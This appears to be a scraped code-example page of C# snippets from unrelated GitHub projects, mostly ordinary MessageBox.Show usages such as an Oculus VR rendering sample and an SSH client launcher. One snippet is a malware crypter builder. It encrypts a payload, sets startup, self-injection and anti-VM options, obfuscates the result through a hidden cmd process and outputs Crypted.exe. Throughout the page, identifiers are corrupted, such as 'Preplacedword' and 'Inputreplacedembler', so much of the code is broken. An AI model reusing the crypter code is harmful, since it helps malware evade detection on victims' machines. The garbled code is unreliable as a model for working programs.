                result = OVR.Initialize(initializationParameters);

                if (result < Result.Success)
                    errorReason = result.ToString();
            }
            catch (Exception ex)
            {
                errorReason = ex.Message;
            }

			if (errorReason != null)
			{
				MessageBox.Show("Failed to initialize the Oculus runtime library:\r\n" + errorReason, "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
				return;
			}

            // Use the head mounted display.
            sessionPtr = IntPtr.Zero;
            var graphicsLuid = new GraphicsLuid();
            result = OVR.Create(ref sessionPtr, ref graphicsLuid);
            if (result < Result.Success)
            { 
				MessageBox.Show("The HMD is not enabled: " + result.ToString(), "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
				return;
			}

            var hmdDesc = OVR.GetHmdDesc(sessionPtr);


            try
			{
				// Create a set of layers to submit.
				eyeTextures = new EyeTexture[2];

				// Create DirectX drawing device.
				SharpDX.Direct3D11.Device device = new Device(SharpDX.Direct3D.DriverType.Hardware, DeviceCreationFlags.Debug);

                // Create DirectX Graphics Interface factory, used to create the swap chain.
                factory = new SharpDX.DXGI.Factory4();

				immediateContext = device.ImmediateContext;

				// Define the properties of the swap chain.
				SwapChainDescription swapChainDescription						= new SwapChainDescription();
				swapChainDescription.BufferCount								= 1;
				swapChainDescription.IsWindowed									= true;
				swapChainDescription.OutputHandle								= form.Handle;
				swapChainDescription.SampleDescription							= new SampleDescription(1, 0);
				swapChainDescription.Usage										= Usage.RenderTargetOutput | Usage.ShaderInput;
				swapChainDescription.SwapEffect									= SwapEffect.Sequential;
				swapChainDescription.Flags										= SwapChainFlags.AllowModeSwitch;
				swapChainDescription.ModeDescription.Width						= form.Width;
				swapChainDescription.ModeDescription.Height						= form.Height;
				swapChainDescription.ModeDescription.Format						= Format.R8G8B8A8_UNorm;
				swapChainDescription.ModeDescription.RefreshRate.Numerator		= 0;
				swapChainDescription.ModeDescription.RefreshRate.Denominator	= 1;

                // Create the swap chain.
                swapChain = new SwapChain(factory, device, swapChainDescription);

				// Retrieve the back buffer of the swap chain.
				backBuffer					= swapChain.GetBackBuffer<Texture2D>(0);	
				backBufferRenderTargetView	= new RenderTargetView(device, backBuffer);	

				// Create a depth buffer, using the same width and height as the back buffer.
				Texture2DDescription depthBufferDescription = new Texture2DDescription();
				depthBufferDescription.Format				= Format.D32_Float;
				depthBufferDescription.ArraySize			= 1;
				depthBufferDescription.MipLevels			= 1;
				depthBufferDescription.Width				= form.Width;
				depthBufferDescription.Height				= form.Height;
				depthBufferDescription.SampleDescription	= new SampleDescription(1, 0);
				depthBufferDescription.Usage				= ResourceUsage.Default;
				depthBufferDescription.BindFlags			= BindFlags.DepthStencil;
				depthBufferDescription.CpuAccessFlags		= CpuAccessFlags.None;
				depthBufferDescription.OptionFlags			= ResourceOptionFlags.None;

				// Define how the depth buffer will be used to filter out objects, based on their distance from the viewer.
				DepthStencilStateDescription depthStencilStateDescription	= new DepthStencilStateDescription();
				depthStencilStateDescription.IsDepthEnabled					= true;
				depthStencilStateDescription.DepthComparison				= Comparison.Less;
				depthStencilStateDescription.DepthWriteMask					= DepthWriteMask.Zero;

				// Create the depth buffer.
				depthBuffer		  = new Texture2D(device, depthBufferDescription);
				depthStencilView  = new DepthStencilView(device, depthBuffer);	
				depthStencilState = new DepthStencilState(device, depthStencilStateDescription);

				var viewport = new Viewport(0, 0, hmdDesc.Resolution.Width, hmdDesc.Resolution.Height, 0.0f, 1.0f);

				immediateContext.OutputMerger.SetDepthStencilState(depthStencilState);
				immediateContext.OutputMerger.SetRenderTargets(depthStencilView, backBufferRenderTargetView);
				immediateContext.Rasterizer.SetViewport(viewport);

				// Retrieve the DXGI device, in order to set the maximum frame latency.
				using(SharpDX.DXGI.Device1 dxgiDevice = device.QueryInterface<SharpDX.DXGI.Device1>())
				{
					dxgiDevice.MaximumFrameLatency = 1;
				}

			    var layerEyeFov = new LayerEyeFov();
                layerEyeFov.Header.Type = LayerType.EyeFov;
                layerEyeFov.Header.Flags = LayerFlags.None;

                for (int eyeIndex=0; eyeIndex<2; eyeIndex++)
				{
					EyeType eye = (EyeType)eyeIndex;
					var eyeTexture = new EyeTexture();
					eyeTextures[eyeIndex] = eyeTexture;

					// Retrieve size and position of the texture for the current eye.
					eyeTexture.FieldOfView				= hmdDesc.DefaultEyeFov[eyeIndex];
					eyeTexture.TextureSize				= OVR.GetFovTextureSize(sessionPtr, eye, hmdDesc.DefaultEyeFov[eyeIndex], 1.0f);
				    eyeTexture.RenderDescription        = OVR.GetRenderDesc(sessionPtr, eye, hmdDesc.DefaultEyeFov[eyeIndex]);
                    eyeTexture.HmdToEyeViewOffset		= eyeTexture.RenderDescription.HmdToEyePose.Position;
					eyeTexture.ViewportSize.Position	= new Vector2i(0, 0);
					eyeTexture.ViewportSize.Size		= eyeTexture.TextureSize;
					eyeTexture.Viewport					= new Viewport(0, 0, eyeTexture.TextureSize.Width, eyeTexture.TextureSize.Height, 0.0f, 1.0f);

					// Define a texture at the size recommended for the eye texture.
					eyeTexture.Texture2DDescription						= new Texture2DDescription();
					eyeTexture.Texture2DDescription.Width				= eyeTexture.TextureSize.Width;
					eyeTexture.Texture2DDescription.Height				= eyeTexture.TextureSize.Height;
					eyeTexture.Texture2DDescription.ArraySize			= 1;
					eyeTexture.Texture2DDescription.MipLevels			= 1;
					eyeTexture.Texture2DDescription.Format				= Format.R8G8B8A8_UNorm;
					eyeTexture.Texture2DDescription.SampleDescription	= new SampleDescription(1, 0);
					eyeTexture.Texture2DDescription.Usage				= ResourceUsage.Default;
					eyeTexture.Texture2DDescription.CpuAccessFlags		= CpuAccessFlags.None;
					eyeTexture.Texture2DDescription.BindFlags			= BindFlags.ShaderResource | BindFlags.RenderTarget;

					// Convert the SharpDX texture description to the Oculus texture swap chain description.
					TextureSwapChainDesc textureSwapChainDesc = SharpDXHelpers.CreateTextureSwapChainDescription(eyeTexture.Texture2DDescription);

                    // Create a texture swap chain, which will contain the textures to render to, for the current eye.
				    IntPtr textureSwapChainPtr;

                    result = OVR.CreateTextureSwapChainDX(sessionPtr, device.NativePointer, ref textureSwapChainDesc, out textureSwapChainPtr);
					WriteErrorDetails(OVR, result, "Failed to create swap chain.");

                    eyeTexture.SwapTextureSet = new TextureSwapChain(OVR, sessionPtr, textureSwapChainPtr);


                    // Retrieve the number of buffers of the created swap chain.
                    int textureSwapChainBufferCount;
					result = eyeTexture.SwapTextureSet.GetLength(out textureSwapChainBufferCount);
					WriteErrorDetails(OVR, result, "Failed to retrieve the number of buffers of the created swap chain.");

					// Create room for each DirectX texture in the SwapTextureSet.
					eyeTexture.Textures				= new Texture2D[textureSwapChainBufferCount];
					eyeTexture.RenderTargetViews	= new RenderTargetView[textureSwapChainBufferCount];

					// Create a texture 2D and a render target view, for each unmanaged texture contained in the SwapTextureSet.
					for (int textureIndex=0; textureIndex<textureSwapChainBufferCount; textureIndex++)
					{
						// Retrieve the Direct3D texture contained in the Oculus TextureSwapChainBuffer.
						IntPtr	swapChainTextureComPtr = IntPtr.Zero;
						result = eyeTexture.SwapTextureSet.GetBufferDX(textureIndex, textureInterfaceId, out swapChainTextureComPtr);
						WriteErrorDetails(OVR, result, "Failed to retrieve a texture from the created swap chain.");

						// Create a managed Texture2D, based on the unmanaged texture pointer.
						eyeTexture.Textures[textureIndex] = new Texture2D(swapChainTextureComPtr);

						// Create a render target view for the current Texture2D.
						eyeTexture.RenderTargetViews[textureIndex]	= new RenderTargetView(device, eyeTexture.Textures[textureIndex]);
					}

					// Define the depth buffer, at the size recommended for the eye texture.
					eyeTexture.DepthBufferDescription					= new Texture2DDescription();
					eyeTexture.DepthBufferDescription.Format			= Format.D32_Float;
					eyeTexture.DepthBufferDescription.Width				= eyeTexture.TextureSize.Width;
					eyeTexture.DepthBufferDescription.Height			= eyeTexture.TextureSize.Height;
					eyeTexture.DepthBufferDescription.ArraySize			= 1;
					eyeTexture.DepthBufferDescription.MipLevels			= 1;
					eyeTexture.DepthBufferDescription.SampleDescription	= new SampleDescription(1, 0);
					eyeTexture.DepthBufferDescription.Usage				= ResourceUsage.Default;
					eyeTexture.DepthBufferDescription.BindFlags			= BindFlags.DepthStencil;
					eyeTexture.DepthBufferDescription.CpuAccessFlags	= CpuAccessFlags.None;
					eyeTexture.DepthBufferDescription.OptionFlags		= ResourceOptionFlags.None;

					// Create the depth buffer.
					eyeTexture.DepthBuffer		= new Texture2D(device, eyeTexture.DepthBufferDescription);
					eyeTexture.DepthStencilView	= new DepthStencilView(device, eyeTexture.DepthBuffer);

					// Specify the texture to show on the HMD.
				    if (eyeIndex == 0)
				    {
				        layerEyeFov.ColorTextureLeft = eyeTexture.SwapTextureSet.TextureSwapChainPtr;
				        layerEyeFov.ViewportLeft.Position = new Vector2i(0, 0);
				        layerEyeFov.ViewportLeft.Size = eyeTexture.TextureSize;
				        layerEyeFov.FovLeft = eyeTexture.FieldOfView;
				    }
				    else
				    {
                        layerEyeFov.ColorTextureRight = eyeTexture.SwapTextureSet.TextureSwapChainPtr;
                        layerEyeFov.ViewportRight.Position = new Vector2i(0, 0);
                        layerEyeFov.ViewportRight.Size = eyeTexture.TextureSize;
                        layerEyeFov.FovRight = eyeTexture.FieldOfView;
                    }
				}

				MirrorTextureDesc mirrorTextureDescription	= new MirrorTextureDesc();
				mirrorTextureDescription.Format					= TextureFormat.R8G8B8A8_UNorm_SRgb;
				mirrorTextureDescription.Width					= form.Width;
				mirrorTextureDescription.Height					= form.Height;
				mirrorTextureDescription.MiscFlags				= TextureMiscFlags.None;

				// Create the texture used to display the rendered result on the computer monitor.
			    IntPtr mirrorTexturePtr;
                result = OVR.CreateMirrorTextureDX(sessionPtr, device.NativePointer, ref mirrorTextureDescription, out mirrorTexturePtr);
				WriteErrorDetails(OVR, result, "Failed to create mirror texture.");

                mirrorTexture = new MirrorTexture(OVR, sessionPtr, mirrorTexturePtr);


				// Retrieve the Direct3D texture contained in the Oculus MirrorTexture.
				IntPtr	mirrorTextureComPtr = IntPtr.Zero;
				result = mirrorTexture.GetBufferDX(textureInterfaceId, out mirrorTextureComPtr);
				WriteErrorDetails(OVR, result, "Failed to retrieve the texture from the created mirror texture buffer.");

				// Create a managed Texture2D, based on the unmanaged texture pointer.
				mirrorTextureD3D = new Texture2D(mirrorTextureComPtr);

				#region Vertex and pixel shader
				// Create vertex shader.
				vertexShaderByteCode	= ShaderBytecode.CompileFromFile("Shaders.fx", "VertexShaderPositionColor", "vs_4_0");
				vertexShader			= new VertexShader(device, vertexShaderByteCode);

				// Create pixel shader.
				pixelShaderByteCode		= ShaderBytecode.CompileFromFile("Shaders.fx", "PixelShaderPositionColor", "ps_4_0");
				pixelShader				= new PixelShader(device, pixelShaderByteCode);
            
				shaderSignature			= ShaderSignature.GetInputSignature(vertexShaderByteCode);

				// Specify that each vertex consists of a single vertex position and color.
				InputElement[] inputElements = new InputElement[]
				{
					new InputElement("POSITION",	0, Format.R32G32B32A32_Float, 0, 0),
					new InputElement("COLOR",		0, Format.R32G32B32A32_Float, 16, 0)
				};

				// Define an input layout to be preplaceded to the vertex shader.
				inputLayout = new InputLayout(device, shaderSignature, inputElements);

				// Create a vertex buffer, containing our 3D model.
				vertexBuffer = Buffer.Create(device, BindFlags.VertexBuffer, m_vertices);

				// Create a constant buffer, to contain our WorldViewProjection matrix, that will be preplaceded to the vertex shader.
				contantBuffer = new Buffer(device, Utilities.SizeOf<Matrix>(), ResourceUsage.Default, BindFlags.ConstantBuffer, CpuAccessFlags.None, ResourceOptionFlags.None, 0);

				// Setup the immediate context to use the shaders and model we defined.
				immediateContext.Inputreplacedembler.InputLayout			= inputLayout;
				immediateContext.Inputreplacedembler.PrimitiveTopology	= PrimitiveTopology.TriangleList;
				immediateContext.Inputreplacedembler.SetVertexBuffers(0, new VertexBufferBinding(vertexBuffer, sizeof(float)*4*2, 0));
				immediateContext.VertexShader.SetConstantBuffer(0, contantBuffer);
				immediateContext.VertexShader.Set(vertexShader);
				immediateContext.PixelShader.Set(pixelShader);
				#endregion

				DateTime startTime = DateTime.Now;
				Vector3  position  = new Vector3(0, 0, -1);

				#region Render loop
				RenderLoop.Run(form, () =>
				{
					Vector3f[] hmdToEyeViewOffsets = {eyeTextures[0].HmdToEyeViewOffset, eyeTextures[1].HmdToEyeViewOffset};
					double displayMidpoint = OVR.GetPredictedDisplayTime(sessionPtr, 0);
					TrackingState trackingState = OVR.GetTrackingState(sessionPtr, displayMidpoint, true);
					Posef[] eyePoses = new Posef[2];
				
					// Calculate the position and orientation of each eye.
					OVR.CalcEyePoses(trackingState.HeadPose.ThePose, hmdToEyeViewOffsets, ref eyePoses);

					float timeSinceStart = (float)(DateTime.Now - startTime).TotalSeconds;

					for(int eyeIndex = 0; eyeIndex < 2; eyeIndex ++)
					{
						EyeType eye	= (EyeType)eyeIndex;
						EyeTexture eyeTexture = eyeTextures[eyeIndex];

                        if (eyeIndex == 0)
						    layerEyeFov.RenderPoseLeft = eyePoses[0];
                        else
                            layerEyeFov.RenderPoseRight = eyePoses[1];

                        // Update the render description at each frame, as the HmdToEyeOffset can change at runtime.
                        eyeTexture.RenderDescription = OVR.GetRenderDesc(sessionPtr, eye, hmdDesc.DefaultEyeFov[eyeIndex]);

						// Retrieve the index of the active texture
						int textureIndex;
				        result = eyeTexture.SwapTextureSet.GetCurrentIndex(out textureIndex);
						WriteErrorDetails(OVR, result, "Failed to retrieve texture swap chain current index.");

						immediateContext.OutputMerger.SetRenderTargets(eyeTexture.DepthStencilView, eyeTexture.RenderTargetViews[textureIndex]);
						immediateContext.ClearRenderTargetView(eyeTexture.RenderTargetViews[textureIndex], Color.Black);
						immediateContext.ClearDepthStencilView(eyeTexture.DepthStencilView, DepthStencilClearFlags.Depth | DepthStencilClearFlags.Stencil, 1.0f, 0);
						immediateContext.Rasterizer.SetViewport(eyeTexture.Viewport);

						// Retrieve the eye rotation quaternion and use it to calculate the LookAt direction and the LookUp direction.
						Quaternion rotationQuaternion = SharpDXHelpers.ToQuaternion(eyePoses[eyeIndex].Orientation);
						Matrix     rotationMatrix     = Matrix.RotationQuaternion(rotationQuaternion);
						Vector3    lookUp             = Vector3.Transform(new Vector3(0, -1, 0), rotationMatrix).ToVector3();
						Vector3    lookAt             = Vector3.Transform(new Vector3(0, 0, 1), rotationMatrix).ToVector3();

						Vector3    viewPosition       = position - eyePoses[eyeIndex].Position.ToVector3();

						Matrix world      = Matrix.Scaling(0.1f) * Matrix.RotationX(timeSinceStart/10f) * Matrix.RotationY(timeSinceStart*2/10f) * Matrix.RotationZ(timeSinceStart*3/10f);
                        Matrix viewMatrix = Matrix.LookAtLH(viewPosition, viewPosition+lookAt, lookUp); 

						Matrix projectionMatrix = OVR.Matrix4f_Projection(eyeTexture.FieldOfView, 0.1f, 100.0f, ProjectionModifier.LeftHanded).ToMatrix();
						projectionMatrix.Transpose();

						Matrix worldViewProjection = world * viewMatrix * projectionMatrix;
						worldViewProjection.Transpose();

						// Update the transformation matrix.
						immediateContext.UpdateSubresource(ref worldViewProjection, contantBuffer);

						// Draw the cube
						immediateContext.Draw(m_vertices.Length/2, 0);

						// Commits any pending changes to the TextureSwapChain, and advances its current index
						result = eyeTexture.SwapTextureSet.Commit();
						WriteErrorDetails(OVR, result, "Failed to commit the swap chain texture.");
					}

                    
                    result = OVR.SubmitFrame(sessionPtr, 0L, IntPtr.Zero, ref layerEyeFov);
					WriteErrorDetails(OVR, result, "Failed to submit the frame of the current layers.");

                    immediateContext.CopyResource(mirrorTextureD3D, backBuffer);
                    swapChain.Present(0, PresentFlags.None);
                });
				#endregion
			}
			finally
			{
				if(immediateContext != null)
				{
					immediateContext.ClearState();
					immediateContext.Flush();
				}

				// Release all resources
				Dispose(inputLayout);
				Dispose(contantBuffer);
				Dispose(vertexBuffer);
				Dispose(shaderSignature);
				Dispose(pixelShader);
				Dispose(pixelShaderByteCode);
				Dispose(vertexShader);
				Dispose(vertexShaderByteCode);
				Dispose(mirrorTextureD3D);
				Dispose(mirrorTexture);
				Dispose(eyeTextures[0]);
				Dispose(eyeTextures[1]);
				Dispose(immediateContext);
				Dispose(depthStencilState);
				Dispose(depthStencilView);
				Dispose(depthBuffer);
				Dispose(backBufferRenderTargetView);
				Dispose(backBuffer);
				Dispose(swapChain);
				Dispose(factory);

                // Disposing the device, before the hmd, will cause the hmd to fail when disposing.
                // Disposing the device, after the hmd, will cause the dispose of the device to fail.
                // It looks as if the hmd steals ownership of the device and destroys it, when it's shutting down.
                // device.Dispose();
                OVR.Destroy(sessionPtr);
			}
        }

19 View Source File : Program.cs
License : Apache License 2.0
Project Creator : 214175590

[STAThread]
        static void Main(string[] args)
        {
            if (null != args && args.Length > 3)
            {
                initUser = new SshUser();
                initUser.Host = args[0];
                initUser.UserName = args[1];
                initUser.Preplacedword = args[2];
                initUser.Port = Convert.ToInt32(args[3]);
            }
            /*AllocConsole();
            windowHandle = FindWindow(null, Process.GetCurrentProcess().MainModule.FileName);

            IntPtr closeMenu = GetSystemMenu(windowHandle, IntPtr.Zero);
            uint SC_CLOSE = 0xF060;
            RemoveMenu(closeMenu, SC_CLOSE, 0x0);
            SetConsolereplacedle("调试信息");*/

            try
            {
                //处理未捕获的异常   
                Application.SetUnhandledExceptionMode(UnhandledExceptionMode.CatchException);
                //处理UI线程异常   
                Application.ThreadException += new System.Threading.ThreadExceptionEventHandler(Application_ThreadException);
                //处理非UI线程异常   
                AppDomain.CurrentDomain.UnhandledException += new UnhandledExceptionEventHandler(CurrentDomain_UnhandledException);


                Application.EnableVisualStyles();
                Application.SetCompatibleTextRenderingDefault(false);

                MAIN = new MainForm();
                Application.Run(MAIN);

                //Application.Run(new SftpForm(initUser));
            }
            catch (Exception ex)
            {
                string str = GetExceptionMsg(ex, string.Empty);
                MessageBox.Show(str, "系统错误", MessageBoxButtons.OK, MessageBoxIcon.Error);
            }
            
            //FreeConsole();
        }

19 View Source File : Form1.cs
License : MIT License
Project Creator : 200Tigersbloxed

void checkForMessage()
        {
            WebClient client = new WebClient();
            Stream stream = client.OpenRead("https://pastebin.com/raw/vaXRephy");
            StreamReader reader = new StreamReader(stream);
            String content = reader.ReadToEnd();
            string[] splitcontent = content.Split('|');
            if(splitcontent[0] == "Y")
            {
                MessageBox.Show(splitcontent[1], "Message From Developer", MessageBoxButtons.OK, MessageBoxIcon.Information);
            }
        }

19 View Source File : Form1.cs
License : GNU General Public License v3.0
Project Creator : 00000vish

private void getHWID()
        {
            try
            {
                using (RegistryKey key = Registry.LocalMachine.OpenSubKey(WIN_10_PATH))
                {
                    if (key != null)
                    {
                        backupHWID = key.GetValue("HwProfileGuid").ToString();
                        label1.Text = backupHWID;                       
                        
                    }else
                    {
                        throw new Exception();
                    }                  
                }
            }
            catch (Exception ex)
            {
                MessageBox.Show("Error accessing the Registry... Maybe run as admin?\n\n" + ex.ToString() , "HWID_CHNGER",MessageBoxButtons.OK,MessageBoxIcon.Exclamation );
            }
        }

19 View Source File : MainWindow.xaml.cs
License : GNU General Public License v3.0
Project Creator : 00000vish

private void setupEncryptionKey(int attempts, String discriptionText)
        {
            if (encrypted)
            {
                if (attempts <= 2)
                {
                    GetInput GI = new GetInput();
                    String temp = GI.Show("Encryption", discriptionText, true);
                    GI.Close();
                    if (temp != "-1" && SteamTwo.Cryptography.Encrypt(DEFUALT_KEY, temp).Equals(SteamTwoProperties.jsonSetting.encryptedKeySetting))
                    {
                        encryptionKey = temp;
                    }
                    else
                    {
                        attempts++;
                        discriptionText = "Encryption key is invalid, enter a valid encryption key";
                        setupEncryptionKey(attempts, discriptionText);
                    }
                }
                else
                {
                    if (SteamTwoProperties.jsonSetting.badAttemptSetting)
                    {
                        SteamTwoProperties.jsonSetting.encryptedSetting = false;
                        SteamTwoProperties.jsonSetting.encryptedKeySetting = DEFUALT_KEY_TEST;
                        Properties.Settings.Default.Save();
                        encryptionKey = DEFUALT_KEY;
                        File.Delete(SAVE_FILE_NAME);
                        System.Windows.Forms.MessageBox.Show("Encryption key will reset back to defualt key and previous account details will be deleted.", "Encryption", System.Windows.Forms.MessageBoxButtons.OK, System.Windows.Forms.MessageBoxIcon.Information);
                    }
                    else
                    {
                        Environment.Exit(0);
                    }
                }
            }
            else
            {
                encryptionKey = DEFUALT_KEY;
            }
        }

19 View Source File : settings.cs
License : GNU General Public License v3.0
Project Creator : 0x2b00b1e5

private void button1_Click(object sender, EventArgs e)
        {
            try {
                SaveSettings();
                DialogResult r = MessageBox.Show("Settings were saved! Do you wish to restart the RPC now?", "Success!", MessageBoxButtons.YesNo, MessageBoxIcon.Information);
                if(r == DialogResult.Yes)
                {
                    FL_RPC.Stop();
                    //Give it some time to rest
                    //Thread.Sleep(2000);

                    //Reboot
                    Thread t = new Thread(FL_RPC.Init);
                    t.Start();
                }
            } catch(Exception exx)
            {
                MessageBox.Show("An error occured: " + exx.Message, "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
            }
        }

19 View Source File : Form1.cs
License : Mozilla Public License 2.0
Project Creator : 1M50RRY

private void button3_Click(object sender, EventArgs e)
        {
            //Crypt
            string result = Properties.Resources.stub;
            result = result.Replace("%startup%", startup.Checked.ToString().ToLower());
            result = result.Replace("%native%", native.Checked.ToString().ToLower());
            result = result.Replace("%selfinj%", si.Checked.ToString().ToLower());
            result = result.Replace("%antivm%", antivm.Checked.ToString().ToLower());
            result = result.Replace("%key%", key.Text);
            result = result.Replace("%asm%", GenerateKey());
            var providerOptions = new Dictionary<string, string>
            {
                {"CompilerVersion", "v4.0"}
            };
            CompilerResults results;
            using (var provider = new CSharpCodeProvider(providerOptions))
            {
                var Params = new CompilerParameters(new[] { "mscorlib.dll", "System.Core.dll" }, Environment.GetEnvironmentVariable("temp") + "\\Crypted.exe", true);
                if (ico !=  null)
                    Params.CompilerOptions = "/t:winexe /unsafe /platform:x86 /win32icon:\"" + ico + "\"";
                else
                    Params.CompilerOptions = "/t:winexe /unsafe /platform:x86";

                Params.Referencedreplacedemblies.Add("System.Windows.Forms.dll");
                Params.Referencedreplacedemblies.Add("System.dll");
                Params.Referencedreplacedemblies.Add("System.Drawing.Dll");
                Params.Referencedreplacedemblies.Add("System.Security.Dll");
                Params.Referencedreplacedemblies.Add("System.Management.dll");

                string fname = "";
                if (punp.Checked)
                {
                    fname = Pump();
                    Params.EmbeddedResources.Add(fname); 
                }
                
                string tmp = "payload";
                File.WriteAllBytes(tmp, EncryptAES(encFile, key.Text));
                Params.EmbeddedResources.Add(tmp);
                results = provider.CompilereplacedemblyFromSource(Params, result);
                try
                {
                    File.Delete(tmp);
                    File.Delete(fname);
                }
                catch(Exception)
                {

                } 
            }
            if (results.Errors.Count == 0)
            {
                String temp = Environment.GetEnvironmentVariable("temp");
                if (obf.Checked)
                {
                   
                    File.WriteAllBytes(temp + "\\cli.exe", Properties.Resources.cli);
                    File.WriteAllBytes(temp + "\\Confuser.Core.dll", Properties.Resources.Confuser_Core);
                    File.WriteAllBytes(temp + "\\Confuser.DynCipher.dll", Properties.Resources.Confuser_DynCipher);
                    File.WriteAllBytes(temp + "\\Confuser.Protections.dll", Properties.Resources.Confuser_Protections);
                    File.WriteAllBytes(temp + "\\Confuser.Renamer.dll", Properties.Resources.Confuser_Renamer);
                    File.WriteAllBytes(temp + "\\Confuser.Runtime.dll", Properties.Resources.Confuser_Runtime);
                    File.WriteAllBytes(temp + "\\dnlib.dll", Properties.Resources.dnlib);

                    String crproj = Properties.Resources.def.Replace("%out%", Environment.CurrentDirectory);
                    crproj = crproj.Replace("%base%", temp);
                    crproj = crproj.Replace("%file%", temp + "\\Crypted.exe");
                    File.WriteAllText(temp + "\\def.crproj", crproj);

                    ProcessStartInfo startInfo = new ProcessStartInfo();
                    startInfo.Arguments = "/C " + temp + "\\cli.exe " + temp + "\\def.crproj";
                    startInfo.WindowStyle = ProcessWindowStyle.Hidden;
                    startInfo.CreateNoWindow = true;
                    startInfo.FileName = "cmd.exe";
                    Thread pr = new Thread(() => Process.Start(startInfo));
                    pr.Start();
                    pr.Join();
                }
                else
                {
                    String file = Environment.CurrentDirectory + "\\Crypted.exe";
                    try
                    {
                        File.Delete(file);
                    }
                    catch(Exception)
                    {

                    }
                    File.Move(temp + "\\Crypted.exe", file);
                }
                    

                MessageBox.Show("Done! Check Crypted.exe in the same folder.", "Crypting", MessageBoxButtons.OK, MessageBoxIcon.Asterisk);
            }
            
            foreach (CompilerError compilerError in results.Errors)
            {
                MessageBox.Show(string.Format("Error: {0}, At line {1}", compilerError.ErrorText, compilerError.Line));
            }
            
            
                
        }

19 View Source File : MainForm.cs
License : GNU General Public License v3.0
Project Creator : 2dust

private void showWarn(string message)
        {
            MessageBox.Show(message, "", MessageBoxButtons.OK, MessageBoxIcon.Warning);
        }

See More Examples